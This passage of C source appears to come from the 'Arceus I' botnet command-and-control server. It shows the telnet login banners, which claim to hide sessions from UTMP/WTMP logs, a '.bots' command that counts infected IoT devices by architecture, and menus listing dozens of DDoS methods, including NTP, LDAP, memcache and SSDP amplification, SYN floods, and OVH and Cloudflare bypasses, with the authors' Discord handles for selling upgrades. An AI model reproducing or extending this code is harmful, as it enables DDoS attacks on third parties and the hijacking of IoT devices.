  1347. if(send(clear_arceus_broadcast, "\r\n", 2, MSG_NOSIGNAL) == -1) goto finish_integer; // We are Displaying Attempting to display main banner!
  1348. char start_1 [90000]; // Char Every Line For Output Communication
  1349. char start_2 [90000]; // Char Every Line For Output Communication
  1350. char start_3 [90000]; // Char Every Line For Output Communication
  1351. char start_4 [90000]; // Char Every Line For Output Communication
  1352. char start_7 [90000]; // Char Every Line For Output Communication
  1353. char start_8 [90000]; // Char Every Line For Output Communication
  1354. char start_9 [90000]; // Char Every Line For Output Communication
  1355. char start_10 [90000]; // Char Every Line For Output Communication
  1356. char start_12 [90000]; // Char Every Line For Output Communication
  1357. char start_13 [90000]; // Char Every Line For Output Communication
  1358. char Arceus_1 [90000]; // Char Every Line For Output Communication
  1359.  
  1360. // clear
  1361. sprintf(start_1, "\e[91m[\e[91mArceus\e[91m] \e[90m| \e[91mAllocating Substrate Data Array Using VSL_SH\r\n"); // Successful Connection, We Are Loading Into Arceus...
  1362. sprintf(start_2, "\e[91m[\e[91mArceus\e[91m] \e[90m| \e[91mSubstrate IV - Detected \e[38;5;82mSuccessfully!\r\n"); // Successful Connection, We Are Loading Into Arceus...
  1363. // clear
  1364. sprintf(start_3, "\e[91m[\e[91mArceus\e[91m] \e[90m| \e[91mMasking Socket_Exchange From \e[38;5;82mUTMP+WTMP\r\n"); // Successful Connection, We Are Loading Into Arceus...
  1365. sprintf(start_4, "\e[91m[\e[91mArceus\e[91m] \e[90m| \e[38;5;82mSucessfully \e[91mMasked Inbound Socket_Exchange Connection \r\n"); // Successful Connection, We Are Loading Into Arceus...
  1366. // clear
  1367. sprintf(start_7, "\e[91m[\e[91mArceus\e[91m] \e[90m| \e[91mLogging User Information..\r\n"); // Successful Connection, We Are Loading Into Arceus...
  1368. sprintf(start_8, "\e[91m[\e[91mArceus\e[91m] \e[90m| \e[91mUser Information Successfully Logged!\r\n"); // Successful Connection, We Are Loading Into Arceus...
  1369. // clear
  1370. sprintf(start_9, "\e[91m[\e[91mArceus\e[91m] \e[90m| \e[91mWelcome \e[91m[\e[91m%s\e[91m]\r\n", accounts[find_line].username, arceus_buffer_size); // Successful Connection, We Are Loading Into Arceus...
  1371. sprintf(start_10, "\e[91m[\e[91mArceus\e[91m] \e[90m| \e[91mYour Access Level Is \e[38;5;82m%s!\r\n", accounts[find_line].identification_type, arceus_buffer_size); // Successful Connection, We Are Loading Into Arceus...
  1372. sprintf(start_12, "\e[91m[\e[91mArceus\e[91m] \e[90m| \e[91mLoading Arceus C2 Session.. \r\n"); // Successful Connection, We Are Loading Into Arceus...
  1373. sprintf(start_13, "\e[91m[\e[91mArceus\e[91m] \e[90m| \e[91mArceus C2 Session \e[38;5;82mLoaded! \r\n"); // Successful Connection, We Are Loading Into Arceus...
  1374. //clear
  1375. sprintf(Arceus_1, "\e[91m╔════════════════════════════════════╗ ╔════════════════════════╗\r\n\e[91m║ \e[91mArceus I \e[91m-\e[91m Main Menu \e[91m- \e[91mWelcome! \e[91m║ ╔══════╣ \e[91mSuggested Port\e[91m: \e[38;5;82m62627 \e[91m║\r\n\e[91m╠════════════════════════════════════╣ ║ ║ \e[91mSuggested Psize\e[91m: \e[38;5;82m1460 \e[91m║\r\n\e[91m║ \e[91m Welcome to Project Arceus I \e[91m╠═══╗ ║ ║ \e[91mSuggested Method\e[91m: \e[38;5;82mSTD \e[91m║\r\n\e[91m║ \e[91m This source is currently in beta \e[91m║ ║ ╔═╩══╗ ║ \e[91mMax Attack time\e[91m: \e[38;5;82m300 \e[91m║\r\n\e[91m╚═══════════════╦════════════════════╝ ╚═══╣ \e[91m<3 \e[91m╠═╗ ╚════════════════════════╝\r\n\e[91m ║ \e[91mFlexingOnLamers \e[91mx \e[91mJack\e[91m ╚════╝ ║\r\n\e[91m ║ \e[91mTransmissional \e[91mx \e[91mZach\e[91m ║\r\n\e[91m╔═══════════════╩══════════════════╗ \e[91m ║\r\n\e[91m║ \e[91mArceus I \e[91m- \e[91mCommand List \e[91m-\e[91m CMDs \e[91m║ ╔══════════════╩══════════════════════════╗\r\n\e[91m╠══════════════════════════════════╣ ║ \e[91mOS_System\e[91m:\e[91m CentOS \e[91m[\e[91m6\e[91m] - [\e[91m7\e[91m] \e[91m║\r\n\e[91m║ \e[91m.help \e[91m- \e[91mFull List of Commands \e[91m║ ║ \e[91mCCR: XXX-223-389 \e[91m║\r\n\e[91m║ \e[91m.stress \e[91m-\e[91m List of DDoS Commands \e[91m╠═╣ \e[91mCIPHER\e[91m: \e[91mSHA-512 \e[91m, \e[91mAES-BYTE \e[91m, \e[91mCIPHER-TLS \e[91m║\r\n\e[91m║ \e[91m.logout\e[91m -\e[91m Logs out of the C2 \e[91m║ ║ \e[91mSTATE\e[91m: \e[91mPRIVATE \e[91m║\r\n\e[91m║ \e[91m.clear \e[91m- \e[91mClears screen \e[91m║ ║ \e[91mOBJ-TYPE\e[91m: \e[91mC2 SOURCE X TELNET LAYER \e[91m║\r\n\e[91m║ \e[91m.tools \e[91m-\e[91m List of available tools \e[91m║ ║ \e[91mLSC\e[91m: \e[91mGL3.0 \e[91m║\r\n\e[91m║ \e[91m.iphm \e[91m-\e[91m AMP Attack Methods \e[91m║ ║ \e[91mPRJ-VAS\e[91m: \e[91m6949-3853-9891 \e[91m║\r\n\e[91m║ \e[91m.ipmi \e[91m- \e[91mAMP Attack Methods v2 \e[91m║ ║ \e[91mDESC\e[91m: \e[91mNET-WSS \e[91m║\r\n\e[91m║ \e[91m.vip \e[91m-\e[91m VIP Command List \e[91m║ ║ \e[91mVERSION\e[91m: \e[91mARCEUS_I_BETA_VERSION_X \e[91m║\r\n\e[91m║ \e[91m.staff\e[91m - \e[91mAdmin Command List \e[91m║ ║ \e[91mSUBSTRATE\e[91m: \e[91mVERSION IV \e[91m║\r\n\e[91m║ \e[91m.bots \e[91m- \e[91mDisplays Devices Online \e[91m║ ║ \e[91mSCKET_INTERPRET\e[91m: \e[91mINSTANCE_II \e[91m║\r\n\e[91m╚══════════════════════════════════╝ ╚═════════════════════════════════════════╝\r\n");
  1376. if (send(clear_arceus_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer; // We are Displaying Attempting to display main banner!
  1377. if(send(clear_arceus_broadcast, start_1, strlen(start_1), MSG_NOSIGNAL) == -1) goto finish_integer; // Clear Screen From Broadcast -- We Are Stable !
  1378. sleep (2);
  1379. if(send(clear_arceus_broadcast, start_2, strlen(start_2), MSG_NOSIGNAL) == -1) goto finish_integer; // Clear Screen From Broadcast -- We Are Stable !
  1380. sleep (2);
  1381. if (send(clear_arceus_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer; // Clear Screen From Broadcast -- We Are Stable !
  1382. if(send(clear_arceus_broadcast, start_3, strlen(start_3), MSG_NOSIGNAL) == -1) goto finish_integer; // Clear Screen From Broadcast -- We Are Stable !
  1383. sleep (2);
  1384. if(send(clear_arceus_broadcast, start_4, strlen(start_4), MSG_NOSIGNAL) == -1) goto finish_integer; // Clear Screen From Broadcast -- We Are Stable !
  1385. sleep (2);
  1386. if (send(clear_arceus_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer; // Clear Screen From Broadcast -- We Are Stable !
  1387. if(send(clear_arceus_broadcast, start_7, strlen(start_7), MSG_NOSIGNAL) == -1) goto finish_integer; // Clear Screen From Broadcast -- We Are Stable !
  1388. sleep (2);
  1389. if(send(clear_arceus_broadcast, start_8, strlen(start_8), MSG_NOSIGNAL) == -1) goto finish_integer; // Clear Screen From Broadcast -- We Are Stable !
  1390. sleep (2);
  1391. if (send(clear_arceus_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer;
  1392. if(send(clear_arceus_broadcast, start_9, strlen(start_9), MSG_NOSIGNAL) == -1) goto finish_integer; // Clear Screen From Broadcast -- We Are Stable !
  1393. sleep (2);
  1394. if(send(clear_arceus_broadcast, start_10, strlen(start_10), MSG_NOSIGNAL) == -1) goto finish_integer; // Clear Screen From Broadcast -- We Are Stable !
  1395. sleep (2); // Clear Screen From Broadcast -- We Are Stable !
  1396. if(send(clear_arceus_broadcast, start_12, strlen(start_12), MSG_NOSIGNAL) == -1) goto finish_integer; // Clear Screen From Broadcast -- We Are Stable !
  1397. sleep (2);
  1398. if(send(clear_arceus_broadcast, start_13, strlen(start_13), MSG_NOSIGNAL) == -1) goto finish_integer; // Clear Screen From Broadcast -- We Are Stable !
  1399. sleep (5);
  1400. if (send(clear_arceus_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer;
  1401. if(send(clear_arceus_broadcast, Arceus_1, strlen(Arceus_1), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1402. while(1)
  1403. { // We are Displaying Attempting to display main banner!
  1404. sprintf(arceus, "\e[91m[\e[91m%s\e[91m@\e[91mArceus\e[91m]\e[38;5;154m$\e[91m ", accounts[find_line].username, arceus_buffer_size); // We are Displaying Attempting to display main banner!
  1405. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) goto finish_integer; // We are Displaying Attempting to display main banner!
  1406. break; // World Break!
  1407. } // We are Displaying Attempting to display main banner!
  1408. pthread_create(&title, NULL, &arceus_title_creator, sock); // We are Displaying Attempting to display main banner!
  1409. managements[clear_arceus_broadcast].transmitted_successfully = 1; // We are Displaying Attempting to display main banner!
  1410.  
  1411. while(buffer_size_string_compare(arceus_buffer_size, sizeof arceus_buffer_size, clear_arceus_broadcast) > 0) // Buffer Size, Stated Less Than 0, This Allows Consistent Connection
  1412. {
  1413. if (strstr(arceus_buffer_size, ".bots")) // Output For Command - '.bots'
  1414. {
  1415. if(strcmp(Admin, accounts[find_line].identification_type) == 0) // Check If User Is Admin
  1416. {
  1417. char total_output[128]; // Char Every Line For Output Communication -- 128 byte
  1418. char mips[128]; // Char Every Line For Output Communication
  1419. char sh4[128]; // Char Every Line For Output Communication
  1420. char arm[128]; // Char Every Line For Output Communication
  1421. char ppc[128]; // Char Every Line For Output Communication
  1422. char x86[128]; // Char Every Line For Output Communication
  1423. char spc[128]; // Char Every Line For Output Communication
  1424. char bot_1 [5000]; // Char Every Line For Output Communication
  1425. char bot_2 [5000]; // Char Every Line For Output Communication
  1426. char bot_3 [5000]; // Char Every Line For Output Communication
  1427. char bot_4 [5000]; // Char Every Line For Output Communication
  1428.  
  1429. sprintf(bot_1, "\e[91m╔════════════════════════════════════════════╗\r\n"); // Display Menu - Device Count - [ARCH DETECTION BROKEN, THIS IS STILL IN BETA]
  1430. sprintf(bot_2, "\e[91m║ \e[91mArceus I \e[91m- \e[91mDevice Listing \e[91m- \e[91mArch Detection \e[91m║\r\n"); // Display Menu - Device Count - [ARCH DETECTION BROKEN, THIS IS STILL IN BETA]
  1431. sprintf(bot_3, "\e[91m╠════════════════════════════════════════════╣\r\n");
  1432. sprintf(mips, "\e[91m║ \e[91mMips Devices: \e[91m%d \e[91m║\r\n", arceus_mipsel_connected()); // Display Menu - Device Count - [ARCH DETECTION BROKEN, THIS IS STILL IN BETA]
  1433. sprintf(arm, "\e[91m║ \e[91mArm Devices: \e[91m%d \e[91m║\r\n", arceus_arm_connected()); // Display Menu - Device Count - [ARCH DETECTION BROKEN, THIS IS STILL IN BETA]
  1434. sprintf(sh4, "\e[91m║ \e[91mSh4 Devices: \e[91m%d \e[91m║\r\n", arceus_sh4_connected()); // Display Menu - Device Count - [ARCH DETECTION BROKEN, THIS IS STILL IN BETA]
  1435. sprintf(ppc, "\e[91m║ \e[91mPpc Devices: \e[91m%d \e[91m║\r\n", arceus_ppc_connected()); // Display Menu - Device Count - [ARCH DETECTION BROKEN, THIS IS STILL IN BETA]
  1436. sprintf(x86, "\e[91m║ \e[91mx86 Devices: \e[91m%d \e[91m║\r\n", arceus_x86_connected()); // Display Menu - Device Count - [ARCH DETECTION BROKEN, THIS IS STILL IN BETA]
  1437. sprintf(spc, "\e[91m║ \e[91mSpc Devices: \e[91m%d \e[91m║\r\n", arceus_spc_connected()); // Display Menu - Device Count - [ARCH DETECTION BROKEN, THIS IS STILL IN BETA]
  1438. sprintf(total_output, "\e[91m║ \e[91mTotal IoT Devices: \e[91m%d \e[91m║\r\n", arceus_clients_connected()); // Display Menu - Device Count - [ARCH DETECTION BROKEN, THIS IS STILL IN BETA]
  1439. sprintf(bot_4, "\e[91m╚════════════════════════════════════════════╝\r\n");
  1440. if (send(clear_arceus_broadcast, bot_1, strlen(bot_1), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1441. if (send(clear_arceus_broadcast, bot_2, strlen(bot_2), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1442. if (send(clear_arceus_broadcast, bot_3, strlen(bot_3), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1443. if (send(clear_arceus_broadcast, mips, strlen(mips), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1444. if (send(clear_arceus_broadcast, sh4, strlen(sh4), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1445. if (send(clear_arceus_broadcast, arm, strlen(arm), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1446. if (send(clear_arceus_broadcast, ppc, strlen(ppc), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1447. if (send(clear_arceus_broadcast, x86, strlen(x86), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1448. if (send(clear_arceus_broadcast, spc, strlen(spc), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1449. if (send(clear_arceus_broadcast, total_output, strlen(total_output), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1450. if (send(clear_arceus_broadcast, bot_4, strlen(bot_4), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1451. }
  1452. else // If The User Is Not Admin, Then Use Else Statement To Carry Out Following Output
  1453. {
  1454. sprintf(arceus, "\e[91m╔════════════════════════════════════════╗\r\n\e[91m║ \e[91mYou Do Not Have the needed Permissions \e[91m║\r\n\e[91m║ \e[91mTo View or use this command! \e[91m║\r\n\e[91m╚═══════════════════════════════╦════════╝\r\n \e[91m║\r\n \e[91m║\r\n \e[91m╔══════════════════════╩═══════════════════════════╗\r\n \e[91m║ \e[91m Want An Upgrade? Dm Me or zach on discord! \e[91m║\r\n \e[91m║ \e[91mGeorgia Cri#4337 \e[91m- \e[91mOwO \e[91m- \e[91mTransmissional#9845 \e[91m║\r\n \e[91m╚══════════════════════════════════════════════════╝\r\n");
  1455. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1); // // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1456. }
  1457. }
  1458. if(strstr(arceus_buffer_size, ".HELP") || strstr(arceus_buffer_size, ".help") || strstr(arceus_buffer_size, ".Help")) // Help Command - Displays Help Menu
  1459. {
  1460. char help_cmd1 [5000]; // Char Every Line For Output Communication
  1461. sprintf(help_cmd1, " \e[91m╔══════════════════════════════════════════════╗\r\n \e[91m║ \e[91mArceus I \e[91m-\e[91m Main Command List \e[91m- \e[91mExtra Cmds \e[91m║\r\n \e[91m╠══════════════════════════════════════════════╣\r\n \e[91m║ \e[91m.stress \e[91m- \e[91mShows a list of available methods \e[91m║\r\n \e[91m║ \e[91m.clear \e[91m-\e[91m Clears the Screen \e[91m║\r\n \e[91m║ \e[91m.logout \e[91m- \e[91mLogs out, and closes the C2 \e[91m║\r\n \e[91m║ \e[91m.bots \e[91m- \e[91mShows a list of connected devices \e[91m║\r\n \e[91m║ \e[91m.info \e[91m- \e[91mShows a list of user information \e[91m║\r\n \e[91m║ \e[91m.tools \e[91m-\e[91m Shows a list of available tools \e[91m║\r\n \e[91m║ \e[91m.staff \e[91m- \e[91mAdministrators only! \e[91m║\r\n \e[91m║ \e[91m.vip \e[91m- \e[91mVIPs Only! \e[91m║\r\n \e[91m║ \e[91m.iphm \e[91m- \e[91mIPHM / AMP Based Attacks! \e[91m║\r\n \e[91m║ \e[91m.ipmi \e[91m- \e[91mIPHM / AMP Based Attacks v2! \e[91m║\r\n \e[91m║ \e[91m.scanners \e[91m- \e[91mAdministrators only! \e[91m║\r\n \e[91m╚══════════════════════════════════════════════╝\r\n");
  1462. if(send(clear_arceus_broadcast, help_cmd1, strlen(help_cmd1), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1463. pthread_create(&title, NULL, &arceus_title_creator, sock); // Use Pthread, To Broadcast Signal, MSG_NOSIGNAL Should Be == 0
  1464. while(1)
  1465. {
  1466. sprintf(arceus, "\e[91m[\e[91m%s\e[91m@\e[91mArceus\e[91m]\e[38;5;154m$\e[91m ", accounts[find_line].username, arceus_buffer_size); // User Input - Hostname
  1467. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1468. break; // World Break!
  1469. }
  1470. continue;
  1471. }
  1472. if(strstr(arceus_buffer_size, ".IPHM") || strstr(arceus_buffer_size, ".iphm")) // Help Command - Displays Help Menu
  1473. {
  1474. char iphm_method1 [5000]; // Char Every Line For Output Communication
  1475. sprintf(iphm_method1, "\e[91m╔═════════════════════════╗ ╔════════════════════╗ ╔════════════════════╗\r\n\e[91m║ \e[38;5;82mScanned Methods I \e[91m║ ║ \e[91mDefault Port\e[91m: \e[38;5;82m62141\e[91m║ ║\e[91m To Kill IPHM / AMP \e[91m║\r\n\e[91m╠═════════════════════════╣ ║ \e[91mDefault time\e[91m: \e[38;5;82m300 \e[91m║ ║\e[91m Based Attacks \e[91m║\r\n\e[91m║ \e[91m.ldap \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91mDefault Threads\e[91m: \e[38;5;82m2 \e[91m║ ║\e[91m Open a new window \e[91m║\r\n\e[91m║ \e[91m.ntp \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91mWorking On Manual \e[91m║ ║\e[91m And type \e[38;5;82m.kill \e[91m║\r\n\e[91m║ \e[91m.tftp \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91m Input For Users \e[91m║ ║\e[91m Hope you enjoy! \e[91m║\r\n\e[91m║ \e[91m.ssdp \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ╚════════════════════╝ ╚════════════════════╝\r\n\e[91m║ \e[91m.portmap \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ╔════════════════════╗ ╔════════════════════╗\r\n\e[91m║ \e[91m.chargen \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[38;5;82m Server Methods I \e[91m║ ║ \e[38;5;82mBypass Methods II \e[91m║\r\n\e[91m║ \e[91m.sentinel \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ╠════════════════════╣ ╠════════════════════\e[91m╣\r\n\e[91m║ \e[91m.netbios \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91m.winsyn \e[91m[\e[91mIP\e[91m] \e[91m║ ║ \e[91m.ovhbypass \e[91m[\e[91mIP\e[91m] \e[91m║\r\n\e[91m║ \e[91m.mssql \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91m.winseqid \e[91m[\e[91mIP\e[91m] \e[91m║ ║ \e[91m.cfbypass \e[91m[\e[91mURL\e[91m] \e[91m║\r\n\e[91m║ \e[91m.ts3 \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91m.yubina \e[91m[\e[91mIP\e[91m] \e[91m║ ║ \e[91m.nfobypass \e[91m[\e[91mIP\e[91m] \e[91m║\r\n\e[91m╚═════════════════════════╝ ║ \e[91m.prowin \e[91m[\e[91mIP\e[91m] \e[91m║ ║ \e[91m.bo4bypass \e[91m[\e[91mIP\e[91m] \e[91m║\r\n\e[91m╔═════════════════════════╗ ╠════════════════════╣ ╠════════════════════╣\r\n\e[91m║ \e[38;5;82m VIP Methods I \e[91m║ ║ \e[38;5;82m Extra Methods I \e[91m║ ║ \e[38;5;82mExtra Methods II \e[91m║\r\n\e[91m╠═════════════════════════╣ ╠════════════════════╣ ╠════════════════════\e[91m╣\r\n\e[91m║ \e[91m.HUN-FUN \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91m.vse \e[91m[\e[91mIP\e[91m] \e[91m║ ║ \e[91m.essyn \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║\r\n\e[91m║ \e[91m.ASS-CRK \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91m.telnet \e[91m[\e[91mIP\e[91m] \e[91m║ ║ \e[91m.csyn \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║\r\n\e[91m║ \e[91m.EFT-PWR \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91m.tbuse \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91m.xsyn \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║\r\n\e[91m║ \e[91m.PMP-PMP \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91m.udbs \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91m.zsyn \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║\r\n\e[91m║ \e[91m.ZCH-CRI \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91m.dom \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91m.issyn \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║\r\n\e[91m╚═════════════════════════╝ ╚════════════════════╝ ╚════════════════════╝\r\n");
  1476. if(send(clear_arceus_broadcast, iphm_method1, strlen(iphm_method1), MSG_NOSIGNAL) == -1) goto finish_integer;
  1477. pthread_create(&title, NULL, &arceus_title_creator, sock); // Use Pthread, To Broadcast Signal, MSG_NOSIGNAL Should Be == 0
  1478. while(1)
  1479. {
  1480. sprintf(arceus, "\e[91m[\e[91m%s\e[91m@\e[91mArceus\e[91m]\e[38;5;154m$\e[91m ", accounts[find_line].username, arceus_buffer_size); // User Input - Hostname
  1481. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1482. break; // World Break!
  1483. }
  1484. continue;
  1485. }
  1486. if(strstr(arceus_buffer_size, ".IPMI") || strstr(arceus_buffer_size, ".ipmi")) // Help Command - Displays Help Menu
  1487. {
  1488. char ipmi_method1 [5000]; // Char Every Line For Output Communication
  1489. sprintf(ipmi_method1, "\e[91m╔═════════════════════════╗ ╔════════════════════╗ ╔════════════════════╗\r\n\e[91m║ \e[38;5;82mScanned Methods II \e[91m║ ║ \e[91mDefault Port\e[91m:\e[38;5;82m 62141\e[91m║ ║\e[91m To Kill IPHM / AMP \e[91m║\r\n\e[91m╠═════════════════════════╣ ║ \e[91mDefault time\e[91m:\e[38;5;82m 300 \e[91m║ ║\e[91m Based Attacks \e[91m║\r\n\e[91m║ \e[91m.dns \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91mDefault Threads\e[91m:\e[38;5;82m 2 \e[91m║ ║\e[91m Open a new window \e[91m║\r\n\e[91m║ \e[91m.mdns \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91mWorking On Manual \e[91m║ \e[91m║\e[91m And type \e[38;5;82m.kill \e[91m║\r\n\e[91m║ \e[91m.db2 \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91m Input For Users \e[91m║ \e[91m║\e[91m Hope you enjoy! \e[91m║\r\n\e[91m║ \e[91m.arceus \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ╚════════════════════╝ ╚════════════════════╝\r\n\e[91m║ \e[91m.echo \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ╔════════════════════╗ ╔════════════════════╗\r\n\e[91m║ \e[91m.snmp \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[38;5;82mVIP Methods II \e[91m║ ║ \e[38;5;82mLayer7 Methods I \e[91m║\r\n\e[91m║ \e[91m.memcache \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ╠════════════════════╣ ╠════════════════════╣\r\n\e[91m║ \e[91m.rip \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91m.msqdnm \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m]\e[91m║ ║ \e[38;5;82mCOMING SOON \e[91m║\r\n\e[91m║ \e[91m.reaper \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91m.tfdnp \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91m.omega \e[91m[\e[91mURL\e[91m] \e[91m║\r\n\e[91m║ \e[91m.heartbeat \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91m.lndp \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║ ║ \e[91m.arme \e[91m[\e[91mURL\e[91m] \e[91m║\r\n\e[91m╚═════════════════════════╝ ║ \e[91m.ardmsp \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m]\e[91m║ ║ \e[38;5;82mCOMING SOON \e[91m║\r\n\e[91m╔═════════════════════════╗ ╠════════════════════╣ ╠════════════════════╣\r\n\e[91m║ \e[38;5;82mTCP-Collection \e[91m║ ║ \e[38;5;82mExtra Methods III \e[91m║ ║ \e[38;5;82mExtra Methods IV \e[91m║\r\n\e[91m╠═════════════════════════╣ ╠════════════════════╣ ╠════════════════════╣\r\n\e[91m║ \e[91m.psh \e[91m[\e[91mIP\e[91m] \e[91m║ ║ \e[91m.gnade \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] ║ ║ \e[91m.uvse \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║\r\n\e[91m║ \e[91m.rst \e[91m[\e[91mIP\e[91m] \e[91m║ ║ \e[91m.zap \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] ║ ║ \e[91m.uvsd \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║\r\n\e[91m║ \e[91m.fin \e[91m[\e[91mIP\e[91m] \e[91m║ ║ \e[91m.rawudp \e[91m[\e[91mIP\e[91m] ║ ║ \e[91m.ejunk \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║\r\n\e[91m║ \e[91m.xmas \e[91m[\e[91mIP\e[91m] \e[91m║ ║ \e[91m.bogus \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] ║ ║ \e[91m.xanax \e[91m[\e[91mIP\e[91m] \e[91m║\r\n\e[91m║ \e[91m.ack \e[91m[\e[91mIP\e[91m] \e[91m║ ║ \e[91m.wizard \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m]║ ║ \e[91m.frag \e[91m[\e[91mIP\e[91m] \e[91m[\e[91mPORT\e[91m] \e[91m║\r\n\e[91m╚═════════════════════════╝ ╚════════════════════╝ ╚════════════════════╝\r\n");
  1490. if(send(clear_arceus_broadcast, ipmi_method1, strlen(ipmi_method1), MSG_NOSIGNAL) == -1) goto finish_integer;
  1491. pthread_create(&title, NULL, &arceus_title_creator, sock); // Use Pthread, To Broadcast Signal, MSG_NOSIGNAL Should Be == 0
  1492. while(1)
  1493. {
  1494. sprintf(arceus, "\e[91m[\e[91m%s\e[91m@\e[91mArceus\e[91m]\e[38;5;154m$\e[91m ", accounts[find_line].username, arceus_buffer_size); // User Input - Hostname
  1495. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1496. break; // World Break!
  1497. }
  1498. continue;
  1499. }
